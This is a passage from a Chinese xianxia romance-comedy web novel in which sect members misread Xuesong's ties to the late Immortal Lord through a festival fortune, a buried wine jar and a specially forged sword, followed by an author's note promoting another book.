白刺猬意识到这一点的时候,倒吸一口凉气,瞳孔地震,感觉自己吃到了一口大瓜,又因为无人可以分享,以至有些兴奋过度。
“你怎么了?”雪松有点疑惑,看着他。
他连忙摆手:“没什么。”按理说,虽然只是猜测,但有理有据,告诉雪松也没什么,毕竟,雪松也是当事人,有知情权。
可是仙尊既然只是选择送东西来表明心意,而没有直接说,恐怕也不希望他这个旁人代为转述,他还是暂时不要说了,回头去问问宗门长老或者和雪松走得比较近的长青师兄吧。也许有更合适的办法。
与此同时,长青忽然联系了长老:“还记得在琉璃村旅馆房间里那回,我在雪松的床上发现了一个人吗?”
“怎么了?你把那个人找到了,还是仙尊复活了?还是你终于确认自己看错了?”长老问。
“我只是突然想起来,那个人好像没有气息,虽然死人没有气息是很正常的事,但如果那不是死人,而是人偶呢?”长青一边走一边喃喃:“如果当时并不是一个人在我面前逃跑或者藏起来了,而是雪松把人偶收回了储物戒指,那一切就说得通了!”
为什么那个人能出现在雪松的床上?因为那是雪松的玩偶。
为什么那个人能在别人揉眼的时间里突然消失,而没有任何法术气息的残留?因为那就不是一个人,也没有任何法术。
为什么那个人看起来像仙尊?因为那是雪松亲手制作的玩偶,用来在无人时思念仙尊,照着仙尊做的,当然像了!
为什么没人知道有那么一个玩偶?因为玩偶的制作和使用,都和雪松以外的任何人没有关系,别人自然不会知道。
为什么雪松回答没有人?因为玩偶不是人。
为什么雪松表面不承认和仙尊有关系,但暗地里已经抱着仙尊的玩偶睡起觉来了?或许雪松对仙尊的感情是他自己都意识不到的深。
他在无意识中拿出了仙尊的玩偶,却在醒过来之后把玩偶下意识收了回去,才会对别人说,根本没有什么在他的床上,因为他就是这么认为的,他爱仙尊爱到了这个地步!
长青咬牙切齿,忍不住想要打听雪松现在在哪,得知雪松出任务去了刺猬村,就也去了刺猬村。
雪松和白刺猬已经完成了任务,正遇上刺猬村在举办庆祝活动,就准备旁观一下活动再走。
白刺猬对雪松介绍说:“这是村子每年一次的庆祝活动,庆祝的是有情人终成眷属,会有漂亮姑娘穿着漂亮裙子,在牛马拉的车上绕着村子转,一边转一边用手把篮子里提前收集的鲜花和树叶撒出来,谁身上的鲜花树叶多,谁受到的祝福就多,只要愿意出门,每个人都有机会得到祝福,大家都会很高兴。”
他顿了顿,带一点私心对雪松说:“到时候村子里还会有人摆摊,做情人占卜,你头一次来,也去玩玩吧?很有意思的。”
雪松摇了摇头:“我对姻缘没有兴趣。”
白刺猬看他不为所动的样子,有些心虚,扯了扯嘴角,笑了笑:“就当是玩游戏,大家都高高兴兴的,一起玩而已?”
雪松注视了他一会儿,确实不想扫别人的兴,答应下来:“好吧。”
花车游街的时候,白刺猬特意把雪松拉到了街道旁边,看着那车子,等着上面的花洒下来,上面的姑娘确实往下撒花了。
但不知哪里吹来的一阵风,把那些可能落到雪松身上的花全都吹走了,连叶子也没剩下一片。
白刺猬呆呆看着雪松。
片叶不沾身,雪松和仙尊竟然注定是悲剧?
第23章
忽然有一片叶子被吹到了雪松面前, 雪松伸出手去,那片叶子又被风吹走了,甚至在他面前打了个转, 才慢悠悠飘远的。
他把手收回去, 注视着那片飞走的叶子,面色十分平静, 好像并不觉得有什么, 但站在他旁边的白刺猬见此情形,心中一惊。
近在咫尺的叶子, 即将落在手心又飞离,这是预兆吗?仙尊和雪松之间, 感情的预兆, 又或者说, 这其实只是结果的显示——
仙尊和雪松曾经近在咫尺, 即将在一起的时候又被迫分离,仙尊离开了雪松, 就像那片叶子。
雪松接受了这一切, 就像那只伸出又收回的手,想要挽留又无力回天,所以被迫放弃,终究独自一人,留了下来。
白刺猬连忙拉住了雪松,把他拽到了情人占卜台面前, 试图分散他的注意力,免得他想到伤心事,对他笑着说:“玩玩占卜吧!”
雪松虽然觉得他突然把自己拉过去有点奇怪,但确实也没在刺猬村玩过占卜, 因此点了点头,面色平静问:“这东西要怎么玩?”
白刺猬笑着回答:“很简单的,这里有一个签筒,你把东西晃一晃,晃出一根签子来,上面的字就是占卜的结果,不过你切记在晃的时候都要在心里默念自己想要询问的事,否则不准的。”
雪松将信将疑点了点头,试探着晃了晃签筒,晃出来一根签子,白刺猬眼疾手快,把那根签子拿了起来,定睛一看,上面写着——
有情人终成眷属,无情人终究别离。
白刺猬一眼扫过去看完了,大惊失色,立刻把签子丢回去,浑身紧绷绷,笑着对雪松说:“你刚才在问什么呢?”
这签文的意思再明白也没有了,简直是戳着人伤疤说,仙尊和雪松,不是有情人,所以成不了眷属,因为是无情人,所以终究别离。
这要是两个人蜜里调油还好,两个人生离死别,你给人看这个?怕不是想被掀摊子!绝对不能给人看见!
雪松觉得他的反应有点奇怪,回答道:“我问的是,我究竟有没有姻缘,毕竟,这是情人占卜,不是普通占卜,不问一问情人,好像差点意思。”
白刺猬一脸苦涩呵呵呵笑了起来。
问的居然是有没有姻缘?难怪是那样的签文!那不会有错了!签文上指的就是雪松和仙尊。
可是他不太明白,雪松和仙尊,一个在人死后也记着约定,一个生前就想着送一见钟情的礼物,怎么就无情了?
难道非得在天地见证下起誓行礼,才算有情吗?等等,难道这根签文其实要看的是前半句?
仙尊和雪松早就有情人终成眷属,如今虽然死别,却因为情之一字,仍然像没有分离一样?所以才说,无情人分离?是因为雪松对仙尊无情的那一天,就是他们完全分离的那一日?倒也不是没有可能。
白刺猬陷入思考。
“你想什么呢?”雪松看着他,有些疑惑问。
他回过神来,一下子笑道:“算了算了,占卜不过图个乐子,我看时间也差不多了,我们去找饭吃吧?路上可以买个刺猬糖!”
他说着往周围招了招手,掏出钱来,买了一颗刺猬糖,拳头大小的,晶莹剔透,看起来活灵活现,确实是只小刺猬的样子,只是底下有根签子,方便拿着,像是刺猬被扎了一下,有一点诡异的好笑。
他把糖转手递给雪松:“尝尝吧。”
雪松尝了一口,忽然想到,自己曾经在一个不为人知的小院子里埋了一坛酒,算算时间,现在应该能喝了,只不过不知道有没有毒,但是以他的修为喝下去,应该也不会死,可以试一试。
正好现在有时间,他可以趁机去,他就停住脚步,对白刺猬说:“我想起来一件事要办,你先回去吧,等我办完了,我去找你。”
白刺猬有些疑惑:“你要办什么事?任务不是已经完成了吗?是私事?可是你从前,没有来过这里吧?要到别的地方去?是不是太远了?”
雪松摆了摆手:“不用担心,没有危险,我去去就回。”
他说完转身就走,没给白刺猬一点多余问的时间,白刺猬往前走了两步,想喊住他,发现他已经不见了,只好停住,叹了一口气,有些发愁,喃喃自语:“究竟干什么去了?”
雪松拿着引路符,来到了自己的院子,往周围找了找,在杂物间里拿出铲子,蹲到了树根旁边,确认了一下从前埋下去的方位,就开始挖起来。
他挖得十分认真,连周围有人路过都没注意,这院子只有非常简单的基础防御法阵,能保证普通人不可随意进入,但并不会屏蔽院子里的情况,所以,如果不是特意增加屏蔽法阵,路过的人是能看见院子的。
路过的长青停下脚步,瞪大眼睛,看着正蹲在地上拿铲子挖土的雪松呆住了。
这是在干什么呢?玩泥巴?雪松应该过了玩泥巴的年纪了。挖坑?那个坑小小的,看起来不能埋人,除非烧成灰,用盒子装。
可是,周围没看见尸体,也没看见盒子,如果只是一捧灰,丢在哪里都可以吧?用不着专门挖个坑,那么大一棵树,总不至于还缺肥料。
长青给自己施了个隐匿法阵,左右看了看,往不远处的树干旁走了过去,站在树下的阴影中,默不作声,看着雪松。
他倒要看看,雪松执行任务,执行到半路,不在任务地点,到这来挖土干什么。总不会又是为了仙尊吧?绝不可能!雪松又不是离开仙尊就活不下去。
经过一阵努力之后,雪松把酒坛子挖出来了,他把铲子一放,就伸出手去,在坑里抓着了坛子的边缘,把坛子从土里抬了出来。
长青定睛一看,倒吸一口凉气。
琉璃玉清酒坛?那不是东海酒仙因为曾经得到过仙尊的帮助,所以赠送给仙尊的,只要往里面倒水就会得到醇香酒酿的上品法器吗?怎么会在这里?
雪松怎么会知道?这么精准的位置,又是提前知道的?谁告诉他的?他的朋友?他的朋友不是死了吗?死之前告诉他这么多事?
雪松随便伸手把坛子旁边的土渣子拍了拍,又吹了一口气,给手上丢了一个清洁咒,在确认手上没有不可食用的东西之后,搓了搓手,兴高采烈试图打开酒坛子。
他只是刚刚拆了套在最外面的一根细细的红绳子,一股浓郁的酒香就从坛子里飘了出来。
长青在不远处动了动鼻子,从酒香里嗅到了一股桂花气,他闻得出来这是上好的酒,也由此确定了,那个酒坛子确实就是仙尊曾经得到的那一个。
因为除了仙尊的那个琉璃玉清酒坛,他想不出来还有什么坛子能酿出这么香的酒,这种品质的好酒可不是随便就能搞出来的。
他一时有些感慨,但不知道是应该先感慨仙尊居然有闲情逸致绕过所有人去酿酒,还把坛子埋在这儿,也不怕被拿走,还是感慨,果然是好酒,可惜埋下这一坛酒的人已经喝不到了,当真物是人非。
旁边忽然起了一阵风,他转过头看去,发现来人正是把酒坛赠送给仙尊的酒仙,愣了一下,又有些恍然。
酒仙向来是喜欢酒的,那样浓烈上好的酒香飘出去,他绝不可能一无所知,更何况,酒坛还是他亲手送出去的,他若是毫无察觉,那才不正常。
酒仙被他的目光注视,发现了他,向他走了过来,顺便也给自己加了一个隐匿法术,一边走一边对他说:“我认得你,你是仙尊宗门的弟子吧?里面那个是谁?看脸倒是像仙尊,可是看神情就不像,仿佛更年轻一些,似乎是仙尊的子嗣,可我不记得仙尊有子嗣啊,莫不是伪装成仙尊模样的妖怪?要我帮忙弄死吗?”
长青缓缓摇头:“里面那个也是仙尊宗门的弟子。”
酒仙听了这话,定睛一看:“他身上怎么有仙尊的血缘气息?只是十分淡薄,萦绕在周围,不是从身体里发出来的,好像他用了仙尊的血做的什么东西。”
长青若有所思:“也许是引路符。”
“仙尊还做过引路符?”酒仙挑了挑眉:“我以为像他那样的人根本不会关注别人会不会迷路呢。”
长青没什么话可说,只能笑一笑,他本来也是那样认为的,可惜见到雪松之后,一切全被推翻了。
酒仙再次看向准备喝酒的雪松,看见那个坛子:“那不是我送给仙尊的吗?怎么在他手里?仙尊把坛子送他了?”
长青缓缓摇头:“他刚挖出来,应该是仙尊埋下去的。”
酒仙的神色古怪起来:“仙尊埋下去,他来挖?”
“怎么?”长青问。
“我那坛子,”酒仙十分艰难说,“若要埋起来,挖的人必定得是原来那个,否则,气息不对,酒会坏掉,这是预防偷盗。若是酒没坏——”
第24章
“酒没坏, 会怎么样?”长青看着酒仙,预感到自己即将知道仙尊的又一个秘密,屏住呼吸问。
酒仙深吸了一口气回答:“说明, 要么, 挖出那坛酒的人就是埋下那坛酒的人,要么, 埋下那坛酒的人, 早知道会有一个人来挖出这酒,而且他很清楚这个人是谁, 那坛酒就是送给这个人的礼物,所以那坛酒才不会坏。”
长青愣了半晌, 缓过神来, 若有所思:“也就是说, 雪松要么是仙尊, 要么是仙尊早就知道的收礼人?”
“是的,”酒仙点了点头, 愣了一下, 突然反应过来他在说什么,“里面那个人叫雪松?仙尊也?他们是什么关系?”
“如你所见,”长青回答,“会互送礼物,会毫不犹豫喝对方送的酒,一丝一毫不怀疑里面可能会有毒, 也不会觉得自己找错了的关系。”
“那关系一定很好了,”要说别的,酒仙可能还未必能感觉到,但要是一提起, 可以相互分享好酒的关系,他就立刻明白了,“像那样的好酒,我绝对只给自己喝的,谁也别想从我这儿分走一丁一点儿,他们连那样的酒都可以相互分享,简直是互为半身。”
长青想到一件事,向酒仙问:“仙尊曾经把自己要将那坛酒作为礼物送给别人的事情告诉过你吗?”
酒仙摇了摇头:“我跟他的关系也没好到那个地步。”
长青忽然现出身形,往前走了两步,靠近了院子,站在了门口,酒仙愣了一下,不知道他要干什么,也跟着现出身形,往前走去。
雪松刚喝了一口酒,就看见两个人,吓了一跳,差点以为喝醉了,但仔细一看,发现还不如喝醉了。
“你怎么在这儿?”雪松抱着酒坛问。
长青微笑着回答:“我只是突然想见见你。”
雪松皱起眉头感到疑惑:“突然想见我?”
这有点太奇怪了。
长青往前一步说:“你不是不记得朋友叫什么名字又长什么样子吗?我忽然想到了一个办法,迫不及待要告诉你。”
“你不是说,”雪松有点惊讶,他突然提起这个,“我的朋友是仙尊吗?怎么还有什么别的?”
“我是那样认为,可是你似乎还有怀疑,我也觉得事情似乎有一些疑点,没有经过验证是不太值得相信,所以我给你找了个验证的办法,”长青微笑着说,“东海有块三生幻境石,只要往前一站,就能看出过去,你有空随我同去如何?你一定也很想找到你的朋友的名字和容貌吧?”
雪松陷入沉默。
如果他真有那么一个朋友,而且真的不记得对方的名字和容貌,他确实应该很想找到,哪怕对方已经死了。
但他没有。
那他要说一点也不想,完全是真心话,可是说出来别人不一定信,就算相信了,也不见得,对他有什么好处。
毕竟,在他对别人的说明里,他那个朋友对他可好了,要丹药给丹药,要房子给房子,储物戒指都准备了,就连他现在身上穿的软猬甲,他对白刺猬说的来源,也是他的朋友。
他要是不在乎这个朋友,那既对不起朋友,也对不起朋友给他的这些东西,听着更不像是和朋友关系好,倒更像是谋财害命,怕别人发现,所以分开埋放,一点一点挖出来,还要给自己找个借口。
“至少等大比之后吧,”雪松在心里叹了一口气,缓缓回答,“我得准备准备,毕竟东海也不近,万一真是仙尊,我也想知道,我究竟是怎样,和他成为朋友的,这根本是不可能的事。”
长青得偿所愿,笑着点了点头:“是该准备,等到大比之后,也不算久,希望到时候你已经准备好了。”
雪松点了点头,没有回答。
长青忽然又问:“这酒是从哪儿来的?”
“刚从地上挖的,”雪松顺便抱着坛子喝了一口酒,指了指地上的坑,“这还没填呢。”
长青试探着往前一步,果然被阵法拦在了院子之外,一脸好奇问:“你是怎么进去的?我都进不去!我的修为比你高些吧?你居然没有破坏阵法?
我倒不知道,有这种入阵的办法。布置阵法的人也是你的朋友吗?真是了不得!这种阵法,可不是普通修士一朝一夕能办成的。”
他顿了顿,没把“倒像是仙尊布置的”说出来,他知道这么说虽然十分直接,但是可能会起反效果,让雪松开始回避,所以还是把话吞回去了。
雪松又喝了一口酒,回答道:“我就这么走进来的,原来有阵法吗?我不知道,或许是我恰好符合这个阵法的要求吧。”
他这么说,本来是想糊弄过去的,但是长青没给他这个机会,笑眯眯贴着阵法问:“不知道阵法就直接走进去了?我闻着你手里的那坛像是好酒,一般人放好酒的地方虽然偏僻,但绝对不可能不加以防护,这个阵法就好端端的,一点破损都没有,你居然能恰好符合阵法的要求,运气真好。”
“你究竟想说什么?”雪松有点想要打发他了。
“能不能也让我进去坐坐?我赶路也有些累了呢。”长青笑眯眯说。
“我进来的时候都不知道有阵法,”雪松毫不犹豫拒绝了,“我怎么让你进来?我可没有兼修阵法,不会干这个,你要休息还是回去吧,宗门里也安全些。”
“那让我喝一口酒怎么样?你有一坛子呢!分给我一点点也没关系吧?我也很渴了,回宗门可喝不到这样的好酒啊,就当施舍我怎么样?”长青从袖子里一掏,还真掏出一只白玉酒杯来,向他问。
酒仙见此情形,也连忙掏出一只大海碗,对院子里的雪松挥了挥手,笑眯眯说:“也给我来一点!”
雪松站起身来,想着把酒给他们,就能打发了这两个人,也算省些口舌,并不吃亏,就把酒分给他们了,对他们挥挥手:“酒已经给了,快走吧!”
长青点了点头,把酒杯放回,仍然不忘嘱咐他:“大比之后去东海三生幻境石畔,我们一起去,看看你那朋友究竟是何方人士什么面目!”
雪松点了点头,对他挥手,酒仙道了谢,把酒一饮而尽,也走了,雪松隐约觉得他眼熟,但一时没想起来是谁,毕竟,当初作为仙尊去东海已经是很久以前的事了。
酒仙对仙尊不算重要,平时又不常见面,雪松还喝了酒,更加认不出来。
他只是把一坛子酒都喝了,晕晕乎乎找地方睡了。
长青回到宗门之后,把酒往桌上一放,长老闻着酒味就过来了,顺着他没关上的门走进来,一眼看见桌上的酒,坐在他桌子对面问:“从哪儿来的?不是去找雪松了吗?”
“这就是从雪松那儿要的酒,”长青把事一说,“我除了闻得出这是上好的桂花酒之外,就不太感觉得到什么了,或许是隔着阵法,感知力迟钝,也有可能是急着赶路,情绪波动,所以不太好分辨。”
长老明白过来:“所以你把这东西带来,其实是要我替你查查究竟有什么?”
长青点了点头:“您要是替我查了,这杯酒咱俩一人一半怎样?这可是好酒,我就讨来这么一小杯,还赶了大半天的路呢!您不亏!”
长老想了想,笑了一声:“那我就查查吧。”
他伸手丢了个鉴定术,若有所思,等了一阵说:“这一杯下去抵得上寻常修士十年苦修了。至少是玄阶上品,果然好酒!”
他咂了咂嘴,已经有些迫不及待想要尝尝这酒的味道了,毕竟闻起来有一股浓郁的桂花香气,哪怕只有这花香,也绝对是好东西。
更何况,这还是仙尊亲手埋下的,酒仙出品的坛子,虽然不知什么时候埋下的,但时间绝不会短,种种因素加起来,越发难得了。
长青信守承诺把酒一分为二,长老喝了半杯,忍不住感慨道:“不愧是仙尊为爱侣亲手准备的好酒,值得一品!”
长青听了这话,神色反而黯淡了许多,将酒一饮而尽,听着窗外秋风萧瑟,刮过落叶,敲打窗棂,垂着眼睛喃喃道:“欲买桂花同载酒,终不似,少年游。”
仙尊埋下这坛酒的时候已经想到今天了吗?也对,仙尊是什么人?无所不知,无所不晓,无所不能。怎么会不知道这坛酒是什么时候开?
他连是谁去都知道,否则怎么会布置那个阵法?又怎么会只让那个阵法允许雪松一个人进去?他明明什么都知道!真是算无遗策!
他埋酒的时候是什么心情?是高兴雪松早晚有一日会找到这坛酒喝下去,还是遗憾自己不能在这坛酒开封的时候,站在旁边?
也就是这个时候,长青才确实感觉到,人死如灯灭,一个人死了之后,活着的人不管有什么事情想要问他,都是再也没有机会的。
仙尊这坛桂花酒,是在念谁?
第25章
一觉睡醒的雪松抱着酒坛子从地上坐起身来, 面无表情,缓了一会儿,感觉自己整个人被桂花酒的气味泡入味儿了, 摇了摇酒坛子, 发现里面还有酒,又喝了一口。
天上忽然轰隆一声响, 他抬起头来, 发现一片阴云聚集了过来,看着似乎要下雨了, 他就站起身来,拍了拍衣服, 向着不远处的房子走去, 刚刚走到屋檐底下, 那雨似乎算好了, 哗啦一声就落了下来,打得四面八方都噼里啪啦直响。
他被雨声激得眯了眯眼睛, 一阵冷飕飕的风吹了过来, 好像在他的衣服里转了个圈,他感觉浑身上下的鸡皮疙瘩都起来了。
他在系统里签了个到,开始抽奖,想平复一下鸡皮疙瘩,转盘在他面前溜溜转了一圈,最后指针停在了一个小小的红盒子上。
盒子上面还有一只漂亮的蝴蝶结, 系统提示他,他得到了泪如雨下悲伤光环,他不是很明白这东西有什么用,也不是很搞得清楚, 这应该在什么时候用,他最近应该没有什么需要哭的地方。
雪松往周围看了看,周围没有人,他决定现在试试这东西,系统提示他这是一次性物品,有效时间在一分钟。
他按下我知道了,开始使用,只是眨了眨眼睛,两行泪珠,就刷一下,从眼眶里滚了出来,顺着他的脸颊垂到了下巴,欲坠未坠,将落不落,一阵风吹来,那两颗泪珠啪嗒一声,落在了地上。
阴云,风雨,桂花酒和眼泪,他忽然觉得,氛围正好。
想要再讨一杯酒喝的酒仙,停在不远处,不知道该不该上去,这个距离已经足够他看见不远处的雪松正在落泪。
他是觉得自己不应该在这个时候打扰别人的,但现在走了,他又有点舍不得酒,于是在原地顿住了。
随后,酒仙就听见一句飘忽的若有若无的声音,喃喃道:“夜来携手梦同游,晨起盈巾泪莫收。”
酒仙如同遭了一个晴天霹雳,猛然间愣住了,一下子想到之前,从长青那里得知的,仙尊和雪松种种纠缠关系,不由得瞪大了眼睛,倒吸一口凉气,脸上逐渐露出了,震惊至极的表情。
原来仙尊真和雪松有关系?而且是这样深刻的关系?雪松居然昨夜梦见了仙尊?难以想象!
他们一定是特别好的关系了!否则仙尊不会同意的!雪松也不必流这样多的泪。可是,他们怎么会有交集?
明明差着那样多的年纪!难道是转世?可是,转世怎么会有前世记忆?难道仙尊用了什么禁术?不像。那是意外?
他们的感情深到居然可以出现这种意外吗?
这下子,酒仙连酒也不喝了,如同被敲了一个闷棍,迅速逃离了,好像晚一步就要被山崩地裂一般的感情,埋死一样。
这种时候打扰别人真是太不人道了,还是下次有机会再来吧。反正酒坛子又不会用一次就裂开。总有机会再喝一次好酒的。
等雨停了之后,雪松把酒坛子里的酒喝完了,又找了水灌进了坛子里,再把坛子按原样放回坑里,重新把土埋了起来。
做好这一切之后,雪松给自己丢了个清洁术,确保自己看起来和离开之前差不多,回到了刺猬村,找到了白刺猬。
白刺猬不知他做了什么,但隐约看出他眼眶有些发红,不知道他是不是独自一人找了个僻静处,想起伤心事,哭了一场,不愿叫他回来也不高兴,小心翼翼提起完成任务就回宗门的事。
他虽然不知道对面为什么突然小心起来,但完成了任务是该回宗门的,一口答应下来,二人很快便回到了宗门。
白刺猬回到宗门之后,和雪松分开,去找了长青,还有长老,正好长青和长老都在一处,白刺猬就把自己知道的事情对他们说了,之后犹犹豫豫,看着他们问:“雪松与仙尊,真是我们想的那样吗?”
长青听见这话,就好像听见有人问太阳会不会从西边出来,笑了一声说:“不是我们想的那样,还能是什么样呢?他们真的从来不认识?那怎么解释,那许多的东西?”
长青隐约带着一丝嘲讽说:“我可不会平白无故,送一个我不认识的人,许许多多好东西。”
白刺猬似懂非懂,点了点头,但觉得他说的对,又带着些好奇问:“仙尊当年果然对雪松一见钟情吗?”
长青笑了笑:“这我就不知道了。”
长老若有所思,回忆了一下当年的事情,虽然觉得自己对当年其实记得并不清楚,了解的也并不多,但他毕竟是这一屋子的人之中,最有可能知道当年发生了什么的,承担着这样的重任,总不能立刻就说,我什么都不知道。
因此,他仔细想了想,才一脸认真说:“虽然仙尊从来没有说过自己对谁一见钟情,也从来没有表现过什么,但是,他确实有一次出任务失踪了,大约半个月。
说不定就是那时候的事,只是回来之后,他自己也忘了,所以既不曾提起,也不曾表现,好像从来没有发生那样的事。”
长青若有所思问:“为什么是忘了?”
长老刚才想起了这事,所以对答如流:“因为仙尊就是这么说的,他告诉了我们,我们才知道,起初是有些担心的,不过他说,只是忘了那半个月的事而已,不影响什么,我们就放下心来了。”
白刺猬瞪大了眼睛:“这么说,仙尊失踪的那半个月,说不定是受伤失忆流落民间,被当时的雪松带回家救治,治好了伤,恢复了从前的记忆,却忘了那半个月,因此离开了雪松,回到了宗门?”
长老点了点头,一脸孺子可教:“很有可能就是这样。”
“那仙尊后来是怎样想起,又怎样打算送人表示自己曾经一见钟情的礼物,居然还能作为朋友把事情告知?”白刺猬有些疑惑。
“或许是忽然想起来了,但斯人已逝,才把东西另外存放,”长青垂着眼睛说,“至于作为朋友把事情告知,我看也未必是那样。”
“时间上,确实有点不对。”长老点了点头。
“那是怎么样?”白刺猬问。
“雪松既不记得朋友的名字,也不记得朋友的容貌,反而记得朋友给了他东西,曾经和他一起住过,已经死了,”长青思考着说,“这不像是真有一个朋友,倒像是失忆之后,零零碎碎想起来一些东西,认为自己应该有一个朋友,所以说东西都是那个朋友给的。”
在这一点上,远在千里之外的酒仙和长青倒是达成了一致,也不知道该说他们心有灵犀,还是脑洞共通。
长青说完之后立刻想着去找雪松打听打听,看看雪松究竟记不记得,仙尊当年失忆的那半个月究竟发生了什么。
长老想要阻拦他:“过去的已经过去,何必再问?想不起来惹人麻烦,想起来了也不过是徒增伤心事罢了。你何必恼他?”
长青摇了摇头,向长老问:“难道您不想知道当初发生了什么?我可想知道!我又不是冲着惹恼他去的。他不知道就不知道,难道我还能对他上刑?”
长青说着对白刺猬招了招手:“你跟我一起去,在旁边看着,瞧瞧我究竟会不会对人做什么,我想,我还没那么求知若渴。”
白刺猬左右看了看,长老犹豫了一下,无可奈何,对他们挥挥手:“既然这么想去,那就去吧,别闹出事来就行了。”
长青微笑着点了点头:“我知道了。”
二人便去找到了雪松。
雪松正在为不久之后的宗门大比做准备,刚在自己的院子里练完一套剑,就看见他们来了,向他们走过来问:“有什么事吗?”
长青看着他呆愣了一下,不由得忽然想到了仙尊:“你和你的朋友认识了多久?”
仙尊练剑的时候也是这样吗?倒从来没有见过仙尊练剑。一定不是仙尊不练,多半是仙尊练的时候,旁人没机会看。
毕竟,以仙尊的修为,哪怕是不动真格的,剑气扫过,也容易叫四面八方寸草不生,若有人站着,一时不慎,被误伤就不好了。
仙尊应当有专门的练剑之处,雪松在这一点上,和仙尊倒不一样,但刚才练的剑,不像是宗门教的,也不像是自己曾经练过的。
倒像是,从没见过的。
可是寻常练习的剑法也就那些,怎么会有没见过的?雪松见过仙尊练剑?仙尊当初在雪松面前练的是这套剑法吗?雪松想起了多少?
“从小时候就认识吧?”雪松也不太确定应该说多久,但觉得从小认识好歹认识的时间长一些,或许关系会比较好,收别人的遗产,比较名正言顺,就这么说了。
长青看他神色犹疑,又问:“你们一直待在一起?”
雪松感觉他在挖坑,警惕道:“大多数时候。”
“那他怎么会有那些东西?”长青追问。
作者有话说:预收:我和马甲真没在一起
雪松穿越到末世,灵魂一分为二,变成了当世最强多系异能者和无异能阴暗自私胆小怕事拖后腿废物,系统告诉他,他最好在维持人设的前提下,保证存活,否则灵魂就永远破损
为了活下去,他只好努力,只是事情出现了一点小小的偏差——
他用异能者靠近废物,旁观者大惊:最强者怎么会注意到这个废物?他们什么时候见过?他们居然认识?那个废物勾引了最强者!
为了安全,他把废物安置在异能者的安全屋,旁观者神色诡异:事情发展到“最强者巧取豪夺,金丝雀笼中啜泣”了?
为了澄清没有金丝雀那回事,他把废物带出安全屋,旁观者啧啧感慨:小金丝雀的腿一直在抖,站都站不稳,为了求最强者把他带出来,昨晚费了很大力气吧?
为了避免再被人误会,他把废物塞回安全屋,旁观者一脸了然:最强者吃醋了,连多看一眼他家的小金丝雀都不让,还真是喜欢啊!
雪松气笑了:我们真没在一起!
第26章
雪松皱了皱眉, 疑惑问:“什么东西?”
长青忍不住笑了起来:“他给你的那些啊,比如你手里的这柄剑,之前的那个盒子, 盒子姑且是随手买的, 这剑,可不见得。”
雪松想了想说:“我不知道, 他没告诉我怎么来的, 他只告诉我,有空可以去取。”
“看来你对这个朋友不太了解啊。”长青笑盈盈道。
雪松默不作声, 长青忽然问:“要不要我替你去打听打听,看看这柄剑, 究竟是从哪里来的?”
雪松没什么兴趣:“人都死了, 知道剑是从哪里来的, 有什么用?”
“万一他其实在这柄剑里给你留了别的什么呢?”长青试探着问。
雪松自己造的剑, 自己还能不知道里面有没有什么吗?
他摇了摇头,毫不犹豫说:“不可能, 他又不是只给我留了一样东西, 真要是想给我什么,何必专门放在剑里?”
长青若有所思。
雪松这样肯定,不像是一无所知,倒像是确实想起了什么,所以对事情清清楚楚,不像其他问题, 回答之前还要犹豫。
“你不想知道你朋友是怎样得到这些东西的?”长青再次试探问。
雪松摇了摇头:“没兴趣。”
长青又问:“你朋友失忆过吗?”
雪松想了想,要是说朋友曾经失忆过,就等于许多东西的来历其实不可考,除非专门去查, 但他自己又不会去查,可以省下许多应付别人问题的时间。
他就说:“仿佛是。”
长青挑了挑眉。
看来仙尊果然就是雪松那个朋友,否则哪有这么巧的事?仙尊失忆过,雪松的朋友也失忆过?
长青接着问:“失忆了多久呢?”
“不记得了,”雪松摆了摆手,“他失忆前后区别不大,我也不太分得出来,也不曾细问,只有他自己知道吧。”
长青若有所思,点了点头:“他失忆之后,你们平时都在做些什么?”
雪松皱起眉头:“也没做什么特别的。”
“那他是怎样恢复的呢?”长青又问。
雪松摇了摇头:“不知道,或许是时间一到,自己就好了吧。”
长青将信将疑,点了点头。
若是个普通人,也不是不可能自己忽然就好了,但这种概率显然是很小的,可如果是仙尊,悄无声息恢复了记忆,不仅是有可能的,而且恢复的概率比普通人大多了,毕竟,仙尊的修为和体质都是普通人不可比的。
这么看,雪松和仙尊的关系,更复杂了一点。
“能给我再看看你的剑吗?”长青伸出手。
雪松把剑交给他,他看了看就还了回来:“到时候宗门新生弟子大比,你也用这把剑吗?”
雪松点了点头:“是。”
“你本来的那把呢?”长青好奇问。
“收起来了,”雪松随意说,“那把剑只适合新手,不太适合常用,我既然已经有新的,就不必强行用它了。”
长青若有所思,点了点头。
虽然看不出那把剑为什么适合新手,但一想到当初仙尊也是用那把剑斩杀怪物,想来是仙尊把剑交给雪松的时候告诉他的。
仙尊不仅教人练剑,连什么剑应该用在什么时候这种小事也一并告知,真不知该说他用心良苦,还是细致入微了。
仙尊什么时候对别人这样体贴过?他和雪松的关系,果然好得旁人望尘莫及!真叫人羡慕。
长青向雪松告辞之后,直奔向一个地方,白刺猬不知他要去哪儿,有些疑惑问:“您是要做什么去?”
他一边辨认地点,一边按落云头回答:“我刚才记下了雪松那把剑的细节,我要去问一问剑仙,知不知道那么一把剑。
如果那真是仙尊送给雪松的,不可能随便挑一把就送,大概率问过剑仙,既然如此,剑仙多半是有印象的。”
白刺猬似懂非懂,点了点头。
长青找到了剑仙,说明了来意,描述了那把剑的情况,剑仙略一回忆,立刻想起来了:“那把剑当初确实是仙尊特意找我做的,用了九天玄铁、千年火星、冰山雪莲,因为材料太珍惜了,所以我一直记得。”
“九天玄铁我倒知道,是上好的材料,”长青若有所思问,“千年火星和冰山雪莲是为了什么?”
“若是只用一种,造出来的剑的性质也就偏向一方,但要是二者融合,达到平衡,”剑仙微微笑着,解释说,“不管是水灵根还是火灵根,还是水火双灵根或者是冰灵根,都是适用的,不仅不会降低手感和攻击防御能力,还会在淬炼之后提升,属于是新手阶段之后,最适用的了。”
“仙尊居然考虑如此长远,”长青神色复杂,“连用的人会在新手期之后用都知道,真是心思细腻。”
“那把剑有非常高的可塑性,”剑仙见他似乎感兴趣,继续说了下去,“只要持有者愿意在修为提升时稍稍淬炼那把剑,那把剑只会越来越锋利,越来越顺手,甚至跟着进阶,早晚有一天成为天阶上品,有机会生出剑灵,实在是不可多得的宝物啊!”
剑仙说到这里顿了顿,有些唏嘘:“只是这样的剑,无论如何也不适合仙尊用的。
我当时还奇怪,仙尊怎么要我做这样的剑,现在想来,到最后也没看见仙尊用,是送出去了吧?不知拿到的人是谁。”
他笑了笑:“我还以为仙尊会收徒呢。那样好的一把剑,可惜我不能当仙尊的徒弟,不然我也去凑凑热闹,看看能不能拿拜师礼。”
长青点了点头,垂着眼睛,喃喃道:“可惜。”
